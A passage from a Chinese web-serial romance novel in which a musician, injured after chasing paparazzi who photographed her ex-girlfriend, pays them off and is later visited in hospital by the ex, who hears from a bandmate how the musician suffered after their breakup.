柳听颂被卡米耶挽着肩膀,两人从后臺出来。 柳听颂独自离场,赶往后臺。 柳听颂坐在臺下,眼神专注地看着舞臺上的卡米耶。 这照片拍得一张比一张意味深长,好似情侣照一般,若是今天晚上没能拦下他们,不知明天会掀起怎么样的风波。 许风扰都能想出那些V博词条。 #乐坛天后柳听颂竟喜欢同性# #柳听颂的秘密女友# #柳听颂精心打扮为看女友演出,中途送花表白,感情甜蜜# #柳听颂出国多年,原因竟是!# 随着这几年的发展,大众对这方面的接受度越来越高,各种同性CP活跃于屏幕中,极受观众追捧,但其中有利也有弊。 例如之前很正常的同性接触,如今都有了其他解读,一个对视一个拥抱都能让人误会,强加上与同性恋爱的头衔,即便解释为朋友,也没有几个人真正相信,反而觉得你在遮掩。 许风扰的视线定在图片上。 再说回柳听颂,当年没有源由的突然隐退,至今没有得到解释,一朝回归后,大众都会十分好奇她这几年的经历,若看见这些图片,那必然会觉得柳听颂是为了追女朋友之类的事,毅然隐退。 到时即便工作室极力否认,也难改观众的想法,毕竟人类只愿意相信他们自己看见的,不是吗 就连旁边的楚澄都误会了,嘴张了又合,完全不知道说什么,满脑子都是柳听颂怎么那么过分,一边挽留许风扰,一边还有个现任女友。 一时间,她看向许风扰的眼神极为复杂,同情、感慨、恨铁不成钢等情绪交织。 谁说许风扰心狠 柳听颂都想脚踏两条船了,她还拼着一条命去帮前妻姐抢单反,担忧人家被爆出来。 她不禁啧啧几声,一声怨种差点脱口而出,又被仅存的良心给按了回去。 许风扰现在肯定难过极了,她还是先不要伤口撒盐比较好。 许风扰不知她在想什么,也没空理会她,见相册中没有她和柳听颂的照片后,不由松了口气。 她暗自猜想,应是这狗仔不知从哪裏得知了柳听颂和卡米耶的关系,又猜到柳听颂会去捧场,所以特地入场蹲守,之后一路尾随跟拍。 至于她与柳听颂发生纠葛的那一段,可能是狗仔在厕所外蹲守了一会,见柳听颂迟迟未出来,便想着素材已经足够,所以提前离开。 而跟拍许风扰和楚澄的那一段,是他赶去与同伴彙合时,恰好瞧见她们两人站在那儿,即便已经拍到大料,却还贪图那点CP粉的钱,索性叫同伴先去开车,自己则留在后面拍照。 不再细看,许风扰当即将这些照片全部删除,并将内存卡取出,用力折断,彻底将这一切销毁。 已经慢慢走过来的狗仔见状,眼神中闪过一丝怨恨,却不敢上前抢夺,被许风扰之前的疯劲吓到了,且他们两人都已经负伤,而一米八的大高个楚澄还能好端端站着,更别说看似一点问题都没有的许风扰。 他们愤愤对视一眼,只觉得心裏憋着一口恶气,无处发洩。 正如许风扰所猜测的,他们事先就知晓了柳听颂与卡米耶的关系,在上一场的蹲守没有成功后,他们又废了大力气抢到今天的票,本以为终于能爆出个大料,甚至还可以狠狠敲诈工作室一笔时,却遇到了许风扰这个祖宗。 “十万,”许风扰恰好在此刻开口,语气沉沉。 对面两人齐刷刷看向她。 许风扰单手抓着相机晃了晃,补充道:“十万,这个单反归我。” 她这下给钱有两层意思,一方面是放不下心,即便已将照片、内存卡销毁后,但仍然不安,要将这单反也拿走。 另一方面是作为赔偿,毕竟这两狗仔忙活了几天,终于拍了大料却什么也没得到,甚至翻了车、摔了人,心怀怨恨下,不知会做出什么报复,索性花钱消灾,十万将对方的修车费、医药费都包了。 对面的狗仔先是一喜,而后又露出不甘神色。 他们肯定是不敢报警的,偷拍这事本就犯法,就算是利用妨碍驾驶这事,让许风扰吃点小亏,后面许风扰这边再与柳听颂工作室那边联手,单是告上法庭就能让他们吃上一壶了,更别说其他的影响。 例如,那些个粉丝得知许风扰伤成这样,会做出怎样的疯狂举动 还有同一个圈子裏的人,虽然大部分人对许风扰无感,甚至还有部分是许风扰曾经得罪过的人,但在这方面,大家都会默契选择偏袒许风扰,毕竟这事可涉及到所有人的利益,若是以后也有狗仔和他们飙车,不依不饶地要闹大呢? 而且狗仔与明星看似是对立的关系,但实际也有合作。 若不是公司有意联系,那些糊得没边的十八线明星哪有什么人拍 其实很多行程都是工作室故意洩露的,公司与狗仔合作,让糊糊多些曝光和话题,并且这也是狗仔重要的收入来源之一,若是被圈内人排斥,这种好事就再也轮不到他们了。 可就这样,狗仔两人又觉得不甘心,如果这些图片爆出去,再敲柳听颂工作室一笔,起码可以赚个七位数,现在却只有小小的十万。 那狗仔一咬牙,主动上前一步道:“二十万,这件事就这样掀过去,从此以后我都不会提起半点。” 话音落下,周围一静,犬吠声依旧,不远处有人走来,像是被响声吸引,赶过来查看情况。 楚澄还陷在震惊情绪裏,呆呆木木地站在原地,没有半点反应。 而许风扰听见了却不回答,低着头摆弄着相机,将盖子掀开又合上,又去扭镜头,不知道的还以为她发现了什么有趣的玩具。 对面两人紧紧盯着她,垂落在身侧的手紧握成拳,洩露了心中的紧张。 直到两三分钟后,许风扰才慢悠悠抬起脑袋,说了个:“十五万。” 话毕,她也不管两人同不同意,侧身就给了楚澄一拳,将人一下子打醒后,高声喊道:“发什么呆?还不快打电话叫人。” 摩托车都摔那儿了,不知道还能不能骑,这玩意不比其他车,看着庞然大物,实际比小四轮都娇贵,随便撞一下就得修,更何况这样重重摔下。 许风扰都没敢回头仔细查看,钱倒不是大问题,可大修伤车,她又很喜欢这辆摩托。 这样一想,许风扰的心就开始抽疼,但又没办法怪楚澄,钥匙是她自己塞过去的,人是她要追的,楚澄就是太过担心她,她不仅不能怪,还得寻思着怎么感谢这人。 于是,许风扰只能把这个事情怪在柳听颂头上。 要不是这人没个分寸,连看演出这种小事,都能被人拍出这种暧昧的氛围。 还送花,送大红的玫瑰花。 还在大庭广众下搂搂抱抱。 还让人家挽她胳膊,叫什么亲爱的。 许风扰眉眼阴沉,完全忘记了自个也觉得这花与卡米耶极相配,也忘记了之前谁在洗手臺前,将柳听颂压住,还与之亲吻。 她越想越气闷,刚刚那些照片就不该删,应反手讹向柳听颂,让她付出十倍、百倍的代价,才能让许风扰解气一点。 楚澄终于缓过神来,躲到一边打起电话。 而狗仔两人转过身商量了一会,最后还是松口同意。 许风扰懒懒抬眼,随意一瞥,毫不意外的模样。 倒不是真缺这五万,一定要和他们讨价还价,但若是轻易松口,恐怕他们还会生出为什么不再要高一点的郁闷,以后每每想起,就会一次比一次后悔,甚至做出些极端的事情。 倒不是许风扰恶意揣测,但能赶着当狗仔,天天蹲守在他人住宅周围,爆人隐私,总想着一夜暴富的人,心思能有多良善 她再怎么样也得警惕一些。 等楚澄那边的电话挂断,又过了半个小时,况野开着车带人赶来。 况野除了乐队鼓手的身份外,同时也是一家修车厂的老板,燃陨乐队没火前,她靠修车的钱学打鼓,火了之后,靠打鼓赚的钱开修车厂,被粉丝笑称为最会修车的鼓手。 许风扰和楚澄能接触到摩托车,就是因为况野,平常的摩托车保养、维修,甚至改装也都是在况野的修车厂中。 “没事吧?”况野向来话少,一下车就直奔着许风扰走去。 许风扰见到来人后,明显松了口气,继而摇了摇头,没多说什么,只道:“你叫人帮他们把车拖上来。” “成,”况野点了点头,她在听完楚澄描述后,就赶去厂裏找了几个信得过的人,一块开车过来。 之后又是一翻折腾,中途那农田的主人找来,况野主动上前协商,赔了人家几千块钱,又让对方帮忙提了桶水过来,让许风扰和楚澄简单冲了下腿脚的泥,再开车送许风扰去医院。 许风扰这家伙也是能忍,从田地裏走出,直至上车,愣是没露出半点异色,直到坐到车裏,才一下子瘫软身子,说她有些头晕,右腿也疼得厉害。 其实她状态一直不大好,是故意强撑着的,毕竟这地方人烟稀少,又只有她和楚澄在场,要是她露出虚弱神色,那两男的估计还会冒出抢夺的心思,而楚澄双手难敌四手,再想深些,这两人抢急眼了,指不定做出什么。 正因此,许风扰才一直坐在田埂上,装出一副强势的无所谓模样,直到等到况野带人赶来。 一行人抵达医院后,已是夜深时候,慌慌张张一通检查,许风扰被送入了单人病房。 轻度脑震荡和右腿骨裂。 第24章 叫我颓靡堕落不得,只能一遍又一遍地想她 当她柳听颂得知消息时, 许风扰已在医院中。 在之前、许风扰慌不择路逃跑时,她并没有着急追上去。 这一切发生的太快,误会、吃醋、被撞破、接吻、躲藏, 还有解释与再一次亲吻, 这些起伏都被挤压在音乐剧的下半场,当躯体无法承载时, 大脑就开始失去运转的能力,以至于情绪失控,开始逃避。 作为年长者的柳听颂理解并包容, 并未趁机步步紧逼, 以此要挟对方更进一步, 而是打算给予对方一段相对漫长的时间,用于缓和与思考。 所以她不仅没有追赶, 还特地避开前门, 绕到后臺休息了一会。 这样反复的行为也遭到了卡米耶的盘问。 很难不好奇, 约好的晚饭被临时取消, 告别说到一半, 柳听颂突然出声让她先回后臺, 如今又重返回来, 说今晚的计划取消了。 她与柳听颂相识几年,还是第一次见她这样。 且,最最重要的是重返回来的柳听颂,突然戴上了一个陌生的黑色口罩,还一直不肯摘下。 这些反常激起了卡米耶的好奇心,围着柳听颂不断询问, 终于从她口中得知许风扰的名字。 不是柳听颂之前没有和她提起过,只是她过于谨慎, 哪怕在好友面前也下意识含糊了姓名,以免影响到国内的许风扰。 所以,卡米耶一直知道柳听颂有一个惦念多年的前女友,但不知具体信息。 柳听颂总是会无意提起她,当想念成为了习惯,周遭的任何一切都会让她想起她,可当思念脱口而出,却没有得到本应存在的回应,那寂寥与怅然便会随之而来,从每一寸皮肤中渗透,掺入骨骸中,扎出一个个细密的孔洞,让风一次次涌入,发出凄凉的呼啸声。 但这一次,卡米耶只瞧见友人柔和了眉眼,露出极浅淡的笑意。 卡米耶好奇不已,不断追问。 直到外头传来议论声,说是散场后,有人在剧院的地下停车场中你追我赶,差点被车撞飞。 议论的人不曾亲眼瞧见,只听旁人提起,这话一传十、十传百便变得格外夸张,让本不在意的柳听颂都分出一点注意力,于是便听到对方提起,好像是一个很出名的歌手在追狗仔时,手中的纸杯瞬间砸落在地。 心慌之后,才急忙想起联系楚澄。 但楚澄心裏有气,误以为柳听颂脚踏两只船,虽然嘴上不说,但心裏却在埋怨柳听颂,觉得是她害得许风扰变成这样,所以一直不肯接柳听颂的电话,连挂二十几个后,才不情不愿地给了地址。 那时的许风扰已经陷入昏睡,虽说是轻度脑震荡,但情况明显比诊断结果更严重些。 检查的途中一直发晕,中间还吐了两回,瘫坐在轮椅上,提不起一丝力气。 吓得楚澄、况野两人面色苍白,直到医生再三保证,只是轻微脑震荡后,才勉强缓和一点。 可当柳听颂赶来时,楚澄复述的可就不只这些话了。 在她嘴裏,许风扰都快成为武打片主演了,什么绕着停车场跑了十几圈,靠着两条腿追车,追到停车场外,差点被三四辆车撞。 虽然楚澄先去骑车、一点没见着那画面,可她能吹啊,吹得旁边的况野都忍不住翻白眼。 而柳听颂关心则乱,真信了她的鬼话,面色白了又白,更别说听到许风扰冒险抢夺单反,一个人跳进面包车裏的事 说到这,楚澄没敢夸张太多,但也足够吓人。 说完这些后,楚澄面色一肃,往日嬉皮笑脸的人突然板起脸,配上一米八的身高,莫名就多了几分压迫感。 “听颂姐,我想你应该记得、”她声音一顿,刻意加重语气,强调道:“当年是你不告而别。” 柳听颂不知她为何突然提起,只是眼眸垂落,一言不发。 况野明显不自在了些,侧身向外,可余光还盯着这裏。 夏日的晚风涌入,贴满白瓷砖的走廊空旷,只有一扇扇合上的门,冷白的灯光将周围照亮,空气裏弥漫着消毒水的味道。 楚澄用力挠了挠后脑勺,将一脑袋红毛抓得乱七八糟的,显然也不大习惯这样的自己,但是许风扰还在裏头的病床上昏睡,她实在无法继续旁观下去。 她张了张嘴,话到嘴边又堵住。 “你继续说,”柳听颂终于开口,她掀起眼帘,看向楚澄,清亮眼眸中的黑白界限明晰,如同奁中棋子,看似温润,落子时却清脆坚定。 她还穿着白日裏的那一身,长裙的裙摆被风扬起,轻轻柔柔又落下,衬得身姿青隽卓越。 楚澄仗着身高才撑起的气场,这会已被削去一半,但话既已说出口,就再没撤回的可能。 楚澄靠着冰凉墙壁,缓了缓才开口道:“这本该是你和阿风两个的事,我们不应该插手,但是……” 她犹豫了下,才继续道:“想必你也看得出来,自你离开之后,阿风过得并不好。” 柳听颂无意识咬住唇,齿尖在伤口处碾磨,故意咬出疼痛。 “她、”楚澄想了想,明明有很多话想说,可到了此刻,却一片空白,最后只提起一件极平常的小事。 “你离开的第一年,我们乐队约着一起去酒吧跨年,那一天很热闹,酒吧裏全是人。” 楚澄抬手比划,用专属的夸张语言描述:“就好像一堆挤在一起的沙丁鱼,随着音乐蹦蹦跳跳。” 另一边的况野耳朵动了动,转过身和楚澄靠在一起。 “我们那天都很高兴,聚在一起乱跳,没一个四肢协调的,跳得特别丑,”楚澄像是想到了什么,突然咧嘴笑。 况野忍不住抬手遮住脸,有点尴尬,可嘴角却扬起。 “不过那种地方又不需要你跳得多好看,只要脸好看就行了,”楚澄开始撇嘴。 “所以那天晚上有好多人和阿风搭讪,女的男的都有,长得都不错,我们怂恿着阿风留了联系方式,劝她重新恋爱。” 虽是当着许风扰前任说出这话,楚澄没有半点心虚,过错在柳听颂,许风扰凭什么不能再恋爱 柳听颂闻言,没有开口,只是越发咬紧下唇,结疤的伤口又撕裂开,泛起密密麻麻的疼,直往心裏扎。 “阿风只是笑,加了好些人却一个都没回,仍由那些红点留在那裏。” “我们想让她喝酒,每一个人都在劝她,说今天开心,喝一口没事的,说这是为了庆祝,说她不喝就是不给我们面子,威逼利诱的,不知道的还以为我们要给她下药呢,”楚澄笑得有点憨。 一向话少的况野,也在此刻开口:“她一直不肯喝。” 她的声音和她的鼓一样,低沉震颤,像自带了一个混音器,与夏天的夜晚很相配。 “我们其实挺想带坏她,”楚澄又开始挠头。 “喝酒、抽烟、滥情、纹身、,或者在身上打个孔,什么都可以,只要她不那么绷着,有一个发洩方式就好。” 这画面看起来有些滑稽,在医院的最顶层,价格高昂的单人病房外,安静得几乎死寂的过道中。 一个红毛大狮子。 一个穿着无袖,手臂全是纹身,戴了一堆丁零当啷配饰的酷姐。 两个看起来就不是什么好人的人,在和一个气质清冷、面容矜雅的女人讲,怎么带坏她的前女友。 但凡此刻有人走过,都会被这诡异扭曲的一面震惊到。 可她们却面色如常,一点也不觉得违和。 “可是她从来没有过,好几次酒杯都到了嘴边,她又放下。” 楚澄忍不住苦笑:“你知道她干过最出格的事情是什么吗” “把那个破香烟拆开嚼,那么苦的东西,她居然都能咬下去,却喝不下一口酒,你说她怪不怪?” 柳听颂眼帘颤了颤,终于知晓那天夜晚,许风扰的唇间为什么会有烟味,可结果却并不能让她松口气,反倒泛起莫名的绞痛,从心脏传出,散至四肢百骸。 “可就连这点发洩的方式,她都戒了好久了,”楚澄偏头,定定看着她。 “网上有很多污蔑,说阿风私底下很乱,烟酒不忌,甚至说她碰了那东西。” “但只有我们知道,她私底下和个苦行僧一样,除了偶尔和我们骑车外,她的生活裏只有贝斯、谱曲、练声,她不需要客厅,不需要娱乐,出了房间就只有一个矮人沙发,可以躺下来休息片刻。” 楚澄说到此处,声音竟有些颤。 况野无声,抬手拍了拍她的肩膀,表示安慰。 楚澄深吸了口气,将情绪压下,她其实真的不想说这些,总觉得她在帮许风扰诉苦一样,可今天晚上,她偏要帮许风扰诉一回苦,这才对得起她一脚脚踩进泥裏,满心的恐惧不安。 “跨年晚上,”她回到之前的话题。 “她没有喝酒没有抽烟,也没有和任何人走,她把烂醉的我们一个个送回家、” 楚澄顿住,补充道:“我家门钥匙掉了,她把我扛回了她的屋子。” 柳听颂缓慢地点了点头,表示一直自己在听。 “半夜我醒起来,看见她一个人在卫生间裏坐着,地上全是点燃却没有抽的烟。” 楚澄眼眶突然有点红,偏过头不肯看柳听颂,只道:“她明明看着很想哭,却没有哭,就这样笑着问我,怎么办啊。” 怎么办啊橙子。 我也没有办法,我真的挺恨她的。 我恨她。 恨她将我教的太好,我也想沉迷情欲、坠落于烟酒,以此缓解日夜蛇咬虫蛀的痛苦,可她将我教得实在太好了,像在脊骨处钉上了十字架,叫我颓靡堕落不得,只能一遍又一遍地想她。 橙子,我好想她。 第25章 你能不能再咬我一口 许风扰醒来时, 病房裏仍就一片漆黑。 脑袋依旧昏沉,不知道是没睡够,还是脑震荡的后遗症。 许风扰闭着眼躺了一会, 不仅没有丝毫好转, 之前那晕得不行的感觉也再一次涌上来,叫人心中烦躁, 又无可奈何。 她提起一口气,又重重吐出,不等缓和片刻, 便听到旁边传来窸窣动静。 有人放柔了声音, 轻声道:“醒了?” 许风扰先是一僵, 继而认出对方,缓缓睁开眼。 裏头没有开灯, 就连窗帘都被紧紧合上, 没有一丝光亮透入, 只能瞧见一道有大致轮廓的黑影, 像是坐在床边。 “你现在怎么样?” “好一点没有? “要不要喝点水?” 一连串的问题突然出现, 那人虽然已经刻意放缓, 但心中焦急下, 还是没忍住一个接一个冒出。 许风扰第一时间没有回答,反应有些迟缓,好一会才慢吞吞道:“你怎么来了?” 她的声音有些沙哑,透着股钝钝的感觉。 柳听颂没有回答。 她又问:“你来了多久了?怎么不开灯?” 这话落下,那人终于有了一点反应,稍探出身子, 伸手去开壁灯。 随着“嗒”的一声,柔和且昏黄的灯光随之亮起。 许风扰下意识闭眼, 皱起眉,下一秒又被覆过来的手抚平凸起,光亮被掌心隔绝,微凉的感受传来。 这一连串的问题,终于有了一个答案。 柳听颂陪在这儿很久了,久到连指尖的温度都散去,透着股刺骨的冷。 等了一会,直到柳听颂觉得许风扰已经能适应后,这才慢慢松开手,继而低声说了句:“我去接杯水。” 许风扰没有回应,连眼睛都没有睁开,不知是身体仍不舒服,还是又不高兴了,唇角紧抿着。 脚步声响起又停下,水落在纸杯中,往日鲜少能注意到的声响,在此刻都变得格外清晰,甚至能嗅对方残留的味道,与满屋的消毒水掺在一起,逐渐消散后又变得清晰,柳听颂回来了。 许风扰睁开眼,眸光沉沉地瞧着她。 自赶来后就没有离开过医院,还是今儿那一身,因久坐的缘故,布料多了些褶皱,许风扰没有过多理会,视线往上,落在那人眼尾,虽然水雾已被抹去,但隐隐还能瞧见一抹淡淡的红,随着对方附身靠近,便瞧得越发真切。 应是柳听颂让人带来的吸管,歪斜在纸杯中,让许风扰不必再起身,微微偏头就能喝到水。 两人都没有说话,只有吞咽的声音。 许风扰确实是有点渴了,之前晕的厉害,而楚澄、况野那两家伙又没一个会照顾人,纸杯边缘杵着牙,差点把水全泼脸上,许风扰没喝两口就挥手赶人,这下醒来便觉得嗓子干涩至极。 她喝得有些急,不大明显的喉结上下滚动,水从唇边出,将唇瓣沾湿,覆上一层水光。 柳听颂眼神垂落,又看向另一边。 直到许风扰松开吸管,她才收回杯子,扯了纸巾,替对方擦拭。 指尖无意触碰到薄唇,不等许风扰躲开,她就先缩回指节,装作若无其事地起身。 “很难受吗?要不要叫医生?”她开口询问。 许风扰摇了摇头,眉头却皱起,察觉到柳听颂不对劲。 “那再睡会?”柳听颂面色如常,若非细心观察,很难察觉出不对。 许风扰不说话,就只是看着她。 又一次陷入沉默,自许风扰醒来之后,氛围就变得奇怪,总是陷入沉默中,明明问出了问题,却没有人回答,比之前什么都不说,互相闷着更压抑。 外头刮起大风,呼呼风声将窗户摇晃,卷起树叶用力拍打在地上,像是要下雨了。 其实也不算突然,在许风扰两人出门前,天气就有些阴沉,但楚澄这人犟的很,非说天气预报显示今夜无雨,死活不肯拿伞,许风扰没有坚持,她也懒得转身拿伞,做好了被淋雨的准备,却没想这场雨酝酿了那么久,直到此刻才有落下的趋势。 “是不是楚澄和你说什么了?”许风扰再一次开口,虽喝过了水,可声音依旧有些哑。 她猜想到了一点,又缓声解释道:“她看到了你和* 卡米耶的照片,可能是误会了,我之前没时间和她解释,她心裏憋着火,就开始胡说八道。” 是没时间,还是无力解释了 柳听颂思绪偏移一瞬,又被拉扯回,只道:“她没说什么,照片、” 她突然不说话,又问:“你饿不饿,想不想吃点东西?” 对方的遮掩太过明显,若楚澄什么都没告诉她,柳听颂又怎么会知道什么照片。 “我不饿,没什么事了,你先回去休息吧,”许风扰眉眼垂落,苍白面色显得恹恹的,情绪更差,甚至开始赶人了 “我今晚在这裏陪着你,”柳听颂这句话倒是回得很快。 许风扰抿了抿唇角,不知道该怎么说,像在斟酌着字句,好一会才嘆气道:“这只是一个很小的车祸,没什么大不了的。” 那人却不说话了,就在旁边杵着。 “我现在只是有点头晕,虽然右腿绑了个夹板,但并不影响行动,不需要有人专门陪床,有什么事我可以叫护士。” 许风扰偏头示意她看向旁边的按键,表示自己确实不需要对方。 柳听颂又不说话了,她今晚确实变得很奇怪,像个只会执行固定指令的机器人,其他话就会让她变成哑巴。 许风扰不是个好脾气的,起码在柳听颂这儿,她的情绪波动总是很大,对方顺从,她也生气,对方不肯听,她也烦闷,像个喜怒无常的暴君。 比如现在,那点脾气又冒出来,直叫人心裏生气,无论怎么压都压不住。 “那你去旁边的陪护床休息,我有什么事会叫你,”许风扰语气变得很冲。 那人还是不肯动。 “我要睡觉了,”许风扰咬着字句强调,试图催促对方。 柳听颂抬手关灯,又坐回了原位。 这举动愣是给许风扰气笑了,忍不住磨了下后槽牙,可能是这段时间老咬柳听颂,现在一生气就想咬点什么。 “你去睡觉,”许风扰咬牙切齿。 那人一动不动。 许风扰后槽牙更痒了,但是又咬不到人,忍不住从被窝裏伸出左腿,往柳听颂膝盖踹了下。 可能是第一次这样做的缘故,她力度不重,就是试探性地轻轻一碰,以至于连柳听颂的腿都没晃两下。 但旁边那个终于不装木头了,哄着说了句:“别乱动,小心扯到腿。” 哟,还知道她是伤患啊 要不是这下关灯了,许风扰肯定要斜眼瞥她。 “睡觉,”她又踹了一脚,这次略微进步了,把柳听颂的膝盖踹得晃了晃。 周围漆黑一片,也不知道柳听颂什么表情,只能看见她挺着个脊背,坐得笔直,也不知道在装三好学生,还是在自虐。 许风扰盯着那团黑乎乎的人看。 那人也好像在看她。 再大的脾气也没个发洩的机会,许风扰顿时洩了气,恹恹道:“柳听颂,我一说话就头疼。” 那人颤了下,果真有了反应,慌慌张张就要去开灯,同时道:“怎么会疼我去找医生。” 许风扰不准她起来,直接将左腿搭在她腿上。 柳听颂伸手去抬,她又搁上去。 柳听颂再抬,她又搁,摆明了不准她动。 柳听颂又不敢用力,生怕扯到她的另一条受伤的腿,只能放柔声音讨饶:“阿风……” 许风扰也不生气了,声音一低,虚弱感更强:“柳听颂,我头晕。” 这次腿搭在对方腿上,那些无法看见的细节就变得清晰,比如,她感受到柳听颂明显僵了下。 “阿风……”那人越发可怜,上挑的尾音像是小小的银鈎。 许风扰没忍住,又朝她膝盖内侧踹了一脚,说:“去洗漱。” 她话音一转,又问:“有衣服换吗” “我刚刚让梨子回家取了,”柳听颂先是回答了一声,继而又有些为难道:“我睡不着,想在旁边陪你。” 她终于说出这些。 许风扰抬了抬眼,只冒出一句:“头疼。” 这下真成祖宗了,连称谓都省去,两个字就让年长那位屈服,转身就走。 许风扰小声哼了声,一抬手,啪的一下就将壁灯打开,让某个正摸索往前的人看清周围。 须臾,卫生间传来水声。 许风扰收回看向那边的视线,不知是什么表情,双手抬起蒙住脸,继而大力揉了揉。 又想笑又觉得可气,过了那么多年,柳听颂还是最吃这一套。 微微扬起的嘴角被揉往下,等那人走出来,许风扰又变成那副病恹恹的模样。 她本就身材瘦削,肤色长期都泛着一股不健康的苍白,又穿上宽大的病号服,凌乱的白发垂落,略微遮住眼眸,凌厉的尖锐感稍减,变作羸弱可怜。 且,单是这样还不够,她还扯了扯被子,将受伤的小腿露出一截,夹板被绷带捆了好几圈,绑在纤细小腿上,看起来就特别唬人。 以至于让刚刚走回来的人,又一次被定在原地。 “睡觉,”许风扰又伸腿去踹,莫名其妙就踹上瘾了,不过她还是注意了些,之前踹的是膝盖往裏,这次稍往上,压在了睡裙边边。 因柳听颂之前心慌意乱下,满脑子都是许风扰,和梨子嘱咐了一大堆,却忘了自个,幸好梨子贴心,想到柳听颂肯定不愿离开,索性将洗漱用品、睡衣等全部装上。 可她再贴心,也难免有失误,出门慌慌张张的,只顾着拿东西,却没考虑到其他。 比如柳听颂身上这件睡裙,虽是这几日常穿的,但…… 墨绿色绸缎睡裙,细带勾着薄肩,露出平直的一字锁骨,垂落的领口露出若隐若现的白,侧边开叉,后面镂空,在闷热夏日中,确实清凉得很。 许风扰放下腿,没敢继续贴着,连视线都垂落往下。 虽说在一起的时候,该做过的都做过了,不该看的该看的也看完了,但突然那么一遭,总会有些不自在。 “睡觉,”她硬邦邦地开口。 “等你睡着,我再回去,”见许风扰态度坚决,柳听颂终于退了一步。 许风扰还想再说,她却嘆息般开口央求:“我心裏不踏实,回去躺着也不会舒服的。” 她看着许风扰,清润的眼眸波光潋滟着,生出几分缱绻的温柔,像在讨好告饶,让人狠不下心拒绝。 可哪裏能让她穿成这样在旁边坐着 且不说柳听颂会不会着凉,要是有人闯入,瞧见这一幕,会不会觉得她许风扰有什么特别的癖好…… 耳边的风还在呼啸,隐隐有雷声响起。 许风扰沉默了片刻,最后往旁边挪了挪,继而微微侧身,尽量背对着柳听颂,便道:“上来。” 之前步步设计、想方设法往许风扰身上贴的女人,现在倒犹豫起来,竟还僵在原地。 “我困了,”那点烦闷的情绪又涌上来,许风扰闷声开口。 另一人继续沉默,又变成了木头。 许风扰只好故技重施:“我头疼。” 这不,话音刚落,那人就关了灯,被子被小心掀开,床铺一沉。 单人病房的好处就体现在这了,不仅旁边有张陪护床、独立的卫生间,就连病床都宽了许多,能让两个人并排躺下,只是这位置…… 许风扰回了回身子,感受到一大片空旷空间,也不知道那人是怎么睡都,莫不是变成一片纸片,死死立在床边了 “柳听颂。” “嗯?” 许风扰命令道:“过来点。” “我……” 拒绝的话还没有说出口,许风扰就打断道:“头疼。” 这两字成了最好的要挟,彻底将柳听颂拿捏。 这边一说完,她就挪过来一点。 只是许风扰还不满意,索性平躺回去,又硬邦邦冒出一句:“再过来点。” 那人又挪了挪。 “来,”许风扰言简意赅 柳听颂再挪。 直到对方的手臂贴到自己,许风扰才停下。 也不知道柳听颂怎么敢睡成之前那样的,稍一翻身就会摔下去,等会陪护不成,反变患者,那才是最可笑。 一时无人开口,许风扰睁着眼看着天花板,灯开了又关,关了又开,残留的光亮竟让眼前不再那么漆黑,以至于能看清些许,但也没什么好看见的。 说困都是催促柳听颂的假话,她刚才睡醒,怎么可能才喝了口水就困了,看柳听颂今儿畏畏缩缩的怯弱模样,哪裏像是会给她下安眠药的样子 许风扰这下精神的很,将脑子裏的绵羊从一数到一百,又从一百数到一,除了让脑子更晕外,没有半点作用。 她躺得难受,不由动了动身子,和她紧贴的那人顿时绷紧,连呼吸都快了些。 显然还是没睡着。 估计也没办法睡着。 许风扰闭上眼,可一堆乱七八糟的想法都在脑子裏冒出,连同之前的情绪一并折磨着她。 烦。 这次是真的烦。 许风扰睁开眼,突然冒出一句:“橙子和你说什么了” 还是没办法不理会。 旁边的人颤了下,还没有说话呢,许风扰又说了句:“你要是再说没有,或者不说话的话,我就叫人把你赶出去。” 这话说的斩钉截铁,没给柳听颂留下一点回旋的余地,是真在威胁柳听颂。 柳听颂果真怕了,嘴唇碾磨,措辞换了一个又一个,最后只道:“橙子她挺关心你的。” 话到此处,许风扰就明白了七七八八。 说实话,她刚清醒时,看见柳听颂站在旁边时,心中其实没有太多惊讶,停车场中那么多人在旁边瞧着,消息必然是会传出去的,柳听颂知道也不奇怪,她甚至一下子就猜到是谁给了柳听颂地址,一点没觉得惊讶。 但让她没想到是,橙子竟会和她说那么多。 不怪她之前放心,甚至没有提前警告她们不准乱说,因为许风扰很清楚燃陨三人对柳听颂的态度,虽有为许风扰遭遇的愤懑与不平,但实际还是很感激柳听颂的。 大家心裏都清楚,当年若不是有柳听颂,凭着许风扰一个人,燃陨乐队是怎么都成立不了的,所以念着这个恩情,她们根本不可能对柳听颂恶语相向,或者做出什么迁怒行为。 不然许风扰生病那会,楚澄也不会松口帮柳听颂送药送粥。 大家的态度始终是模糊着,摇摆不定的,不敢亲近太多,也不会恶意抵触,甚至会在柳听颂主动开口后,松口帮忙。 同时也是这个原因,在她们知道柳听颂回国,甚至和许风扰接触过后,除了楚澄外,都没有主动询问过,不然以那么好的关系,怎么可能不将朋友的桃花问个清清楚楚 如今知道楚澄竟忍不住为她出头,许风扰揉了揉鼻子,莫名有点鼻酸。 大部分人都知道要讲道理,要讲恩情,可当有人愿意不管不顾地站在你这边时,总归还是让人感动的。 “小野她话不多,但也帮着说了不少,”柳听颂补充了句。 这人也是怪得很,居然还在帮责怪自己、抱怨自己的人说话。 许风扰抿了抿唇,不知道该说什么好,自顾自躺着缓了一会,好半天才挤出一句:“柳听颂,我们聊聊吧。” 又是这句话。 之前的聊天没有结果,但如今又要聊什么呢? 屋外淅沥沥沥得下起雨,将枝叶拍得沙沙作响,这场酝酿许久的雨,终于还是落了下来,将周围遮挡得更加安静,空气中多了一丝清凉的泥土味道。 许风扰等了一会,见她没有回答,又用手肘碰了碰对方,喊:“柳听颂。” 那人停顿了下,才轻声道:“你能不能再咬我一口。” 第26章 你是狗?不被咬就咬人? “要不你再咬我一口。” 话语掺在雨声中, 飘忽又低弱,让人分不清到底是雨声,还是自己的幻听。 许风扰愣了一会, 才诧异问道:“柳听颂你说了什么?” 那人回答得很快, 几乎是下一秒就接上:“咬我。” 许风扰懵了下,好不容易才用踹人取代的惩罚方式, 现在又被对方提起,后槽牙再一次痒起来。 这样的感受让人烦躁,以至于语气变得更冲, 凶巴巴地斥道:“柳听颂你是不是欠的。” 话虽这样说, 但许风扰心裏却清楚, 这人在闹什么,当愧疚情绪无法缓和, 便只会惩罚自己, 以此来让自己好受一点。 可不代表她会配合。 她凭什么配合。 许风扰语气一冷, 就道:“你别想, 柳听颂。” “你不要以为这样就能过去了, 你欠我的, 根本不是咬几口就能解决的。” “你最好一直难受、一直愧疚, 一直觉得对不起我。” 情绪翻涌,清凉的、带着湿气的风不能抚平烦躁,许风扰不得不承认,自己始终做不到放下,那块石头始终在心口堵住,只要轻轻一碰, 她就要变成满身是刺的刺猬,像被打怕的狗, 只要有人路过,它就开始龇牙,发出警告的呜咽。 